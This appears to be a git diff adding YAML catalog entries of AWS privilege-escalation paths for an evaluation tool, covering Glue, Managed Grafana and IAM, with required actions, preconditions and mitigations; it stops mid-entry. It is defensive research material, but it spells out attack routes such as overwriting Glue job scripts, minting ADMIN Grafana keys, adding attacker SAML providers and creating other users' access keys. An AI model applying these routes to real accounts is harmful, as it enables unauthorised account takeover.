scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Pin script and executable dependency arguments, including --python-virtual-env, in NonOverridableArguments and restrict glue:StartJobRun and glue:CreateTrigger to orchestrators. + references: + - https://docs.aws.amazon.com/glue/latest/dg/aws-glue-programming-etl-glue-arguments.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateTrigger.html + notes: The evaluator requires an unpinned --scriptLocation, StartJobRun on the exact job or a creatable scheduled trigger, and one S3 script object the source can PutObject and the target role can GetObject. A script outside recorded job definitions can also prove the route through fresh reviewed evidence of a matching job run, script read and execution, and a useful action under the exact role. Dependency override formats without such evidence remain unresolved. Creating a trigger for an existing job does not itself require iam:PassRole. + + +- id: aws-glue-overwrite-existing-job-script + provider: aws + service: glue + title: Replace the script read by an existing Glue job + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#replace-the-script-of-an-existing-glue-job + source_revision: f6c5b04636 + summary: The source may run its code under an existing Glue job role by replacing the exact S3 script object used by that job and causing the job to run. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + attached_to_service: glue + via_resource_type: glue_job + scope: same_account + aggregate_as: Execution roles of Glue jobs whose exact script object is writable and runnable in {account} + outcome: workload_execution + preconditions: + - glue_existing_job_script_object_writable_and_runnable + conditions: + - id: object_replacement_and_run + description: The exact S3 script object must accept the replacement and the job must subsequently load it. A non-overridable --scriptLocation or scheduled trigger action that redirects the script leaves the route unresolved. + - id: scheduled_run + description: The scheduled-trigger variant requires the recorded active schedule to fire after the object replacement. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Limit write access to Glue job script objects to trusted deployment identities and restrict who can start jobs that use privileged roles. + references: + - https://docs.aws.amazon.com/glue/latest/dg/aws-glue-api-jobs-job.html + - https://docs.aws.amazon.com/glue/latest/dg/edit-nodes-script.html + notes: The evaluator joins Command.ScriptLocation, the same job's role, exact s3:PutObject and role s3:GetObject permissions, and StartJobRun or an active scheduled trigger. A direct StartJobRun can explicitly select the recorded script URI only when --scriptLocation is not non-overridable; a scheduled run also needs collected job defaults and trigger action arguments without a script redirect. It never infers a role edge from a generic writable bucket or a different job. + +- id: aws-glue-passrole-createjob-or-updatejob-run + provider: aws + service: glue + title: Create or update a Glue job with a passed role and run it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting glue.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: glue.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting glue.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - glue_job_role_and_execution_bind + conditions: + - id: script_location_readable + description: The passed role must be able to read the script location the source supplies. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: updatejob_existing_job + description: The UpdateJob variants need an existing job within the UpdateJob Resource. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService, and restrict job creation/update and trigger creation to the deployment pipeline. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateJob.html + notes: The machine precondition checks a creatable unused job or an existing updateable job and StartJobRun on that same job, or a creatable trigger in its Region. It binds exact Glue PassRole and an S3 script object the source can PutObject and the passed role can GetObject. A script outside recorded job definitions can also prove the route through fresh reviewed evidence of the accepted job change, matching run, script execution and useful action under the exact role. + +- id: aws-glue-updatejob-existing-role + provider: aws + service: glue + title: Replace an existing Glue job definition that keeps its attached role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 171e422299 + summary: The source can obtain the privileges of the execution role of existing Glue jobs it can update. + requires: + all_of: + - action: glue:UpdateJob + resource: "{target.resource_arn}" + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + attached_to_service: glue + via_resource_type: glue_job + scope: same_account + aggregate_as: "Execution roles of Glue jobs updatable in {account}" + outcome: workload_execution + preconditions: + - glue_existing_job_has_runnable_trigger + conditions: + - id: job_runs_later + description: An active scheduled trigger or a source-startable on-demand trigger is linked to the exact job; the job runs only when that trigger fires. + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict glue:UpdateJob to the deployment pipeline on specific job ARNs. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_UpdateJob.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_JobUpdate.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsglue.html + notes: JobUpdate requires Role and completely overwrites the prior definition, and the Service Authorization Reference lists iam:PassRole as a dependent action of glue:UpdateJob, so PassRole on the job's role is required. The evaluator joins a runnable trigger and an S3 script object the source can PutObject and the attached role can GetObject. A script outside recorded job definitions can also prove the route through fresh reviewed evidence of the accepted update, trigger firing, matching run, script execution and useful action under the exact role. Direct StartJobRun is covered by aws-glue-passrole-createjob-or-updatejob-run. + +- id: aws-glue-passrole-createsession + provider: aws + service: glue + title: Create a Glue interactive session with a passed role and run statements in it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-an-interactive-session-with-a-privileged-role + source_revision: 171e422299 + summary: The source can obtain the privileges of any passable role trusting glue.amazonaws.com. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + target: + kind: aws_role + selector: + trust_allows_service: glue.amazonaws.com + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: "Roles trusting glue.amazonaws.com passable in {account}" + outcome: workload_execution + preconditions: + - glue_new_session_with_statement + conditions: + - id: passrole_condition_key + description: iam:PassedToService conditions may restrict which roles can be passed. + - id: statement_output + description: Reading statement output needs glue:GetStatement; code still runs without it. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:PassRole on Glue roles with iam:PassedToService=glue.amazonaws.com, scope glue:CreateSession and glue:RunStatement to owner-tagged sessions, and keep session roles least-privileged. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_CreateSession.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_RunStatement.html + - https://docs.aws.amazon.com/glue/latest/dg/glue-is-security.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsglue.html + notes: Distinct from aws-glue-runstatement-interactive-session (existing session, no PassRole). CreateSession and RunStatement must cover the same unused session ID in one Region; the session may need time to become ready before code runs. + +- id: aws-glue-runstatement-interactive-session + provider: aws + service: glue + title: Run code in an existing Glue interactive session + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#execute-code-in-an-existing-interactive-session + source_revision: 171e422299 + summary: The source can run code under the role attached to a ready Glue interactive session it can use. + requires: + all_of: + - action: glue:RunStatement + resource: "{target.resource_arn}" + target: + kind: aws_role + selector: + attached_to_service: glue_session + scope: same_account + aggregate_as: "Execution roles of runnable Glue sessions in {account}" + outcome: workload_execution + preconditions: + - glue_existing_session_ready_for_statement + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Restrict glue:RunStatement to sessions owned by the caller and keep their execution roles least-privileged. + references: + - https://docs.aws.amazon.com/glue/latest/webapi/API_RunStatement.html + - https://docs.aws.amazon.com/glue/latest/webapi/API_Session.html + notes: The target role comes from the recorded session rather than a generic Glue service trust. The session must be READY and RunStatement must cover that exact session ARN. diff --git a/src/privilege-escalation-paths-research/aws/grafana.yaml b/src/privilege-escalation-paths-research/aws/grafana.yaml new file mode 100644 index 0000000000..07cf42ecfe --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/grafana.yaml @@ -0,0 +1,107 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# Amazon Managed Grafana application-plane privilege escalation techniques (aws_service_plane_admin targets). +# Source: hacktricks-cloud aws-managed-grafana-privesc/README.md (rev 171e422299). +# Collected workspace summaries provide ARN, status and Grafana version. + +- id: aws-grafana-createworkspaceapikey-admin + provider: aws + service: grafana + title: Mint an ADMIN Grafana workspace API key + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanacreateworkspaceapikey--arbitrary-role-legacy-api-key + source_revision: 171e422299 + summary: The source can obtain Grafana ADMIN access to Managed Grafana workspaces by minting a legacy API key with a chosen role. + requires: + all_of: + - action: grafana:CreateWorkspaceApiKey + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: grafana + resource_permission_covers_target: grafana:CreateWorkspaceApiKey + scope: same_account + aggregate_as: "Managed Grafana administrators in {account}" + grants: [Grafana ADMIN] + preconditions: + - grafana_api_key_workspace_eligible + conditions: + - id: legacy_api_keys_supported + description: Grafana versions before 12 support API keys through the AWS API; workspace network access controls still apply. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict grafana:CreateWorkspaceApiKey, migrate to service accounts and alert on ADMIN key creation. + notes: Grafana application administration (dashboards, alerts, data sources and their proxies); not IAM credentials. + +- id: aws-grafana-serviceaccounttoken-admin + provider: aws + service: grafana + title: Mint a Grafana service-account token (optionally for a new ADMIN account) + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#createworkspaceserviceaccounttoken--existing-or-attacker-created-service-account + source_revision: 171e422299 + summary: The source can obtain Grafana ADMIN access to Managed Grafana workspaces by creating an ADMIN service account and minting a token for it. + requires: + all_of: + - action: grafana:CreateWorkspaceServiceAccount + resource: "{target.resource_arn}" + - action: grafana:CreateWorkspaceServiceAccountToken + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: grafana + resource_permission_covers_target: grafana:CreateWorkspaceServiceAccountToken + scope: same_account + aggregate_as: "Managed Grafana administrators in {account}" + grants: [Grafana ADMIN] + preconditions: + - grafana_service_account_workspace_eligible + conditions: + - id: grafana_9_or_later + description: Service accounts require Grafana 9 or later; workspace network access controls still apply. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict grafana:CreateWorkspaceServiceAccount and CreateWorkspaceServiceAccountToken and inventory workspace service accounts and tokens. + notes: Token vending alone (CreateWorkspaceServiceAccountToken for an existing service account) reaches only that account's Grafana role, which is not modelled as ADMIN; ADMIN is guaranteed only with CreateWorkspaceServiceAccount. + +- id: aws-grafana-updateworkspaceauthentication-saml-admin + provider: aws + service: grafana + title: Add an attacker-controlled SAML administrator to an existing Grafana workspace + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#grafanaupdateworkspaceauthentication--attacker-controlled-saml-idp + source_revision: b587e6bd26 + summary: The source can gain Grafana administrator access to a workspace through a SAML identity provider it controls. + requires: + all_of: + - action: grafana:UpdateWorkspaceAuthentication + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: grafana + resource_permission_covers_target: grafana:UpdateWorkspaceAuthentication + scope: same_account + aggregate_as: Managed Grafana workspace administrators in {account} + outcome: application_admin + grants: [Grafana ADMIN] + preconditions: + - grafana_saml_workspace_active + conditions: + - id: saml_assertions + description: The source must control valid SAML metadata and assertions mapped to the workspace ADMIN role and be able to reach its endpoint. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict workspace authentication updates and alert on SAML metadata and administrator role-mapping changes. + references: + - https://docs.aws.amazon.com/grafana/latest/APIReference/API_UpdateWorkspaceAuthentication.html + notes: The grant is limited to Grafana's application plane and configured data sources; it does not issue IAM credentials. diff --git a/src/privilege-escalation-paths-research/aws/greengrass.yaml b/src/privilege-escalation-paths-research/aws/greengrass.yaml new file mode 100644 index 0000000000..1c1d146bf7 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/greengrass.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS greengrass privilege escalation techniques. +# Added by the HackTricks privesc completeness audit (rev 6fb9ac51fd). diff --git a/src/privilege-escalation-paths-research/aws/healthomics.yaml b/src/privilege-escalation-paths-research/aws/healthomics.yaml new file mode 100644 index 0000000000..e9f2263dd3 --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/healthomics.yaml @@ -0,0 +1,8 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS HealthOmics privilege escalation techniques. +# Source: hacktricks-cloud aws-healthomics-privesc/README.md (rev 171e422299). diff --git a/src/privilege-escalation-paths-research/aws/iam.yaml b/src/privilege-escalation-paths-research/aws/iam.yaml new file mode 100644 index 0000000000..1f7f396d7a --- /dev/null +++ b/src/privilege-escalation-paths-research/aws/iam.yaml @@ -0,0 +1,821 @@ +# AWS privilege escalation catalog: include only a known principal gaining another +# exact principal or new effective permissions through specified actions. A secret, +# token, API key, or password read is an edge only after evidence proves its exact +# credential subject, usability, and additional authority. Generic data disclosure, +# application effects, and unknown targets are not privilege escalation paths. + +# AWS IAM privilege escalation techniques. +# Source: hacktricks-cloud aws-iam-privesc/README.md. + +- id: aws-iam-createpolicyversion-self + provider: aws + service: iam + title: Create a new default version of a customer-managed policy attached to the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreatepolicyversion + source_revision: 171e422299 + summary: The source can obtain administrator privileges by rewriting a customer-managed policy attached to itself (directly, via a group, or to its role). + requires: + all_of: + - action: iam:CreatePolicyVersion + resource: "{source.attached_policy_arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_attached_policy_covered_by: iam:CreatePolicyVersion + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + - source_attached_policy_version_capacity + conditions: + - id: policy_version_limit + description: A managed policy holds at most 5 versions; when full, iam:DeletePolicyVersion on that policy is also needed. iam:SetDefaultPolicyVersion is NOT required (the set-as-default flag is part of CreatePolicyVersion). + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Do not grant iam:CreatePolicyVersion on policies attached to the same principal; scope it to specific policy ARNs owned by administrators and enforce permissions boundaries / SCPs that deny policy edits outside an admin path. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreatePolicyVersion.html + notes: Also lets the source edit any other covered policy; when the covered policy is attached to other principals those principals become admin too, but the edge drawn here is self-escalation of the source. AWS-managed policies cannot be versioned by customers. + +- id: aws-iam-setdefaultpolicyversion-self + provider: aws + service: iam + title: Switch the default version of a customer-managed policy attached to the source + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamsetdefaultpolicyversion + source_revision: 171e422299 + summary: The source can obtain the privileges of a more permissive stored version of a policy attached to itself. + requires: + all_of: + - action: iam:SetDefaultPolicyVersion + resource: "{source.attached_policy_arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_attached_policy_covered_by: iam:SetDefaultPolicyVersion + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + - source_attached_admin_policy_version_exists + conditions: + - id: more_permissive_version_exists + description: Only escalates if a non-default version of a covered policy grants more (ideally admin) permissions than the current default; the evaluator should compare stored policy versions. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Delete obsolete permissive policy versions and restrict iam:SetDefaultPolicyVersion to administrators. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_SetDefaultPolicyVersion.html + notes: Severity becomes critical when a stored non-default version is admin-equivalent. + +- id: aws-iam-createaccesskey-other-user + provider: aws + service: iam + title: Create access keys for another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateaccesskey-iamdeleteaccesskey + source_revision: 171e422299 + summary: The source can obtain the privileges of IAM users on which it can create access keys. + requires: + all_of: + - action: iam:CreateAccessKey + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:CreateAccessKey + scope: same_account + aggregate_as: "IAM users covered by iam:CreateAccessKey in {account}" + preconditions: + - iam_user_access_key_capacity + conditions: + - id: access_key_limit + description: A user can hold at most two access keys; if the target already has two, the caller needs iam:DeleteAccessKey and a way to learn an existing key ID, such as iam:ListAccessKeys on that user. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Scope iam:CreateAccessKey to "arn:aws:iam::*:user/${aws:username}" (self-service only) and alert on CreateAccessKey for other users. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html + notes: Target users whose identity policies require MFA (aws:MultiFactorAuthPresent) will not get those permissions with plain access keys. + +- id: aws-iam-createloginprofile-other-user + provider: aws + service: iam + title: Create a console password for another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateloginprofile--iamupdateloginprofile + source_revision: 171e422299 + summary: The source can obtain the privileges of IAM users without a console password on which it can create one. + requires: + all_of: + - action: iam:CreateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:CreateLoginProfile + has_login_profile: false + scope: same_account + aggregate_as: "IAM users without a console password covered by iam:CreateLoginProfile in {account}" + preconditions: + - target_console_login_without_mfa + conditions: + - id: target_mfa + description: If the target has an MFA device enrolled, console sign-in requires it and the technique is blocked. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:CreateLoginProfile to self or administrators and require MFA for all console users. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html + notes: "" + +- id: aws-iam-updateloginprofile-other-user + provider: aws + service: iam + title: Reset the console password of another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateloginprofile--iamupdateloginprofile + source_revision: 171e422299 + summary: The source can obtain the privileges of IAM users whose console password it can change. + requires: + all_of: + - action: iam:UpdateLoginProfile + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:UpdateLoginProfile + has_login_profile: true + scope: same_account + aggregate_as: "IAM users with a console password covered by iam:UpdateLoginProfile in {account}" + preconditions: + - target_console_login_without_mfa + conditions: + - id: target_mfa + description: If the target has an MFA device enrolled, console sign-in requires it and the technique is blocked. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict iam:UpdateLoginProfile to self (with old password) or administrators and require MFA for all console users. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateLoginProfile.html + notes: The legitimate user is locked out, so this is noisy. + +- id: aws-iam-createservicespecificcredential-other-user + provider: aws + service: iam + title: Create or reset service-specific credentials for another IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamcreateservicespecificcredential--iamresetservicespecificcredential + source_revision: 171e422299 + summary: The source may obtain service-scoped privileges of IAM users for which it can create or reset service-specific credentials. + requires: + all_of: [] + any_of: + - - action: iam:CreateServiceSpecificCredential + resource: "{target.arn}" + - - action: iam:ResetServiceSpecificCredential + resource: "{target.arn}" + target: + kind: aws_user + scope: same_account + aggregate_as: "IAM users covered by service-specific credential management in {account}" + preconditions: + - service_specific_credential_ready + conditions: + - id: service_scoped_credential + description: The credential works only for the selected service; the target must have a usable service permission, and API-key services also need bearer-token authorization. + - id: reset_requires_existing_credential + description: The Reset variant only applies when the target already has a service-specific credential. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: medium + mitigation: Restrict service-specific credential management to self (${aws:username}) and administrators. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateServiceSpecificCredential.html + notes: Create and Reset use their own target-scoped IAM action. An inactive credential also needs UpdateServiceSpecificCredential, and a full two-credential slot needs DeleteServiceSpecificCredential before Create. Partial privilege gain only. + +- id: aws-iam-uploadsshpublickey-other-user + provider: aws + service: iam + title: Upload an SSH public key for another IAM user (CodeCommit) + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamuploadsshpublickey--iamdeactivatemfadevice + source_revision: 171e422299 + summary: The source may gain the target IAM user's CodeCommit GitPull or GitPush access by uploading an SSH public key. + requires: + all_of: + - action: iam:UploadSSHPublicKey + resource: "{target.arn}" + target: + kind: aws_user + selector: + resource_permission_covers_target: iam:UploadSSHPublicKey + scope: same_account + aggregate_as: "IAM users covered by iam:UploadSSHPublicKey in {account}" + preconditions: + - target_codecommit_git_permission + - target_ssh_public_key_capacity + conditions: + - id: service_scoped_credential + description: IAM SSH keys authenticate CodeCommit Git operations, subject to the target user's GitPull or GitPush permissions; they do not authorize CodeCommit API actions. + - id: ssh_key_limit + description: An IAM user can hold at most five SSH public keys; replacing one requires DeleteSSHPublicKey and a way to learn its key ID, such as ListSSHPublicKeys. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: low + mitigation: Restrict iam:UploadSSHPublicKey to self (${aws:username}). + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_UploadSSHPublicKey.html + notes: The DeactivateMFADevice half of the same HackTricks section is excluded (it needs the target's password already). + +- id: aws-iam-attachuserpolicy-self + provider: aws + service: iam + title: Attach a managed policy to the source IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachuserpolicy--iamattachgrouppolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by attaching a managed policy to itself. + requires: + all_of: + - action: iam:AttachUserPolicy + resource: "{source.arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: + - id: policyarn_condition + description: An iam:PolicyARN condition limiting which managed policies may be attached removes or limits the escalation. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:AttachUserPolicy on the principal itself; constrain with iam:PolicyARN and permissions boundaries. + references: [] + notes: Granting it on other users is an edge to those users only if the source can also act as them; that is covered by credential techniques, not here. + +- id: aws-iam-putuserpolicy-self + provider: aws + service: iam + title: Put an inline policy on the source IAM user + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by writing an inline policy on itself. + requires: + all_of: + - action: iam:PutUserPolicy + resource: "{source.arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:PutUserPolicy on the principal itself; use permissions boundaries for delegated IAM administration. + references: [] + notes: "" + +- id: aws-iam-attachgrouppolicy-self + provider: aws + service: iam + title: Attach a managed policy to a group the source user belongs to + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachuserpolicy--iamattachgrouppolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by attaching a managed policy to one of its groups. + requires: + all_of: + - action: iam:AttachGroupPolicy + resource: "{source.group_arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + source_group_covered_by: iam:AttachGroupPolicy + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: + - id: policyarn_condition + description: An iam:PolicyARN condition limiting attachable policies removes or limits the escalation. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Do not let users modify policies of groups they belong to. + references: [] + notes: "{source.group_arn} is the ARN of one of the source's groups (the target is the account-admin entity, which has no ARN)." + +- id: aws-iam-putgrouppolicy-self + provider: aws + service: iam + title: Put an inline policy on a group the source user belongs to + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source IAM user can obtain administrator privileges by writing an inline policy on one of its groups. + requires: + all_of: + - action: iam:PutGroupPolicy + resource: "{source.group_arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + source_group_covered_by: iam:PutGroupPolicy + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Do not let users modify policies of groups they belong to. + references: [] + notes: "{source.group_arn} is the ARN of one of the source's groups (the target is the account-admin entity, which has no ARN)." + +- id: aws-iam-attachrolepolicy-self + provider: aws + service: iam + title: Attach a managed policy to the source's own role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source role can obtain administrator privileges by attaching a managed policy to its own role. + requires: + all_of: + - action: iam:AttachRolePolicy + resource: "{source.arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_role + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: + - id: policyarn_condition + description: An iam:PolicyARN condition limiting attachable policies removes or limits the escalation. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:AttachRolePolicy on the role itself; use permissions boundaries for delegated role administration. + references: [] + notes: "{source.arn} is the role ARN (not the session ARN)." + +- id: aws-iam-putrolepolicy-self + provider: aws + service: iam + title: Put an inline policy on the source's own role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source role can obtain administrator privileges by writing an inline policy on its own role. + requires: + all_of: + - action: iam:PutRolePolicy + resource: "{source.arn}" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_role + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - source_boundary_allows_account_admin + conditions: [] + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Never grant iam:PutRolePolicy on the role itself; use permissions boundaries for delegated role administration. + references: [] + notes: "{source.arn} is the role ARN (not the session ARN)." + +- id: aws-iam-modify-assumable-role-policy + provider: aws + service: iam + title: Grant permissions to a role the source can already assume + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source can obtain administrator privileges through a role it can assume and whose policies it can change. + requires: + any_of: + - - action: iam:AttachRolePolicy + resource: "{source.assumable_role_arn}" + request_context: + iam:PolicyARN: + admin_managed_policy: true + - - action: iam:PutRolePolicy + resource: "{source.assumable_role_arn}" + target: + kind: aws_account_admin + selector: + via_assumable_role_covered_by: iam:AttachRolePolicy + scope: same_account + aggregate_as: "Administrator of {account} (via an assumable role)" + preconditions: + - assumable_role_allows_account_admin + conditions: + - id: same_assumable_role + description: The role whose policies the source can change must be one it can assume; {source.assumable_role_arn} already restricts the requirement to such roles. + blockers: + - scp_or_boundary_deny + confidence: derived + severity: critical + mitigation: Separate who can edit a role's permissions from who can assume it; apply permissions boundaries on delegated role administration. + references: [] + notes: "{source.assumable_role_arn} is a role the source can already assume (the trust admits it, and its identity policy allows sts:AssumeRole on the role unless the trust names its ARN in the same account), so no separate sts:AssumeRole requirement is listed. via_assumable_role_covered_by applies to whichever any_of action matched (AttachRolePolicy or PutRolePolicy)." + +- id: aws-iam-createrole-attach-assume + provider: aws + service: iam + title: Create a new role trusting the source, grant it admin, and assume it + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamattachrolepolicy-stsassumerole--iamcreaterole--iamputuserpolicy--iamputgrouppolicy--iamputrolepolicy + source_revision: 171e422299 + summary: The source can obtain administrator privileges through a new role it creates, grants permissions to and assumes. + requires: + all_of: + - action: iam:CreateRole + resource: "*" + bind: new_role + request_context: + iam:PermissionsBoundary: + absent: true + any_of: + - - action: iam:AttachRolePolicy + resource: "*" + bind: new_role + request_context: + iam:PolicyARN: + admin_managed_policy: true + - - action: iam:PutRolePolicy + resource: "*" + bind: new_role + target: + kind: aws_account_admin + selector: + same_as_source: true + scope: same_account + aggregate_as: "Administrator of {account} (via a newly created role)" + conditions: + - id: permissions_boundary_condition + description: Creating an unbounded administrator role requires CreateRole to allow a request without iam:PermissionsBoundary. A role forced to carry a boundary needs a separate assessment of that boundary's effective permissions. + - id: resource_path_restriction + description: If CreateRole/AttachRolePolicy/PutRolePolicy are restricted to a role path or name pattern, the actions must all cover the same role ARN. + - id: 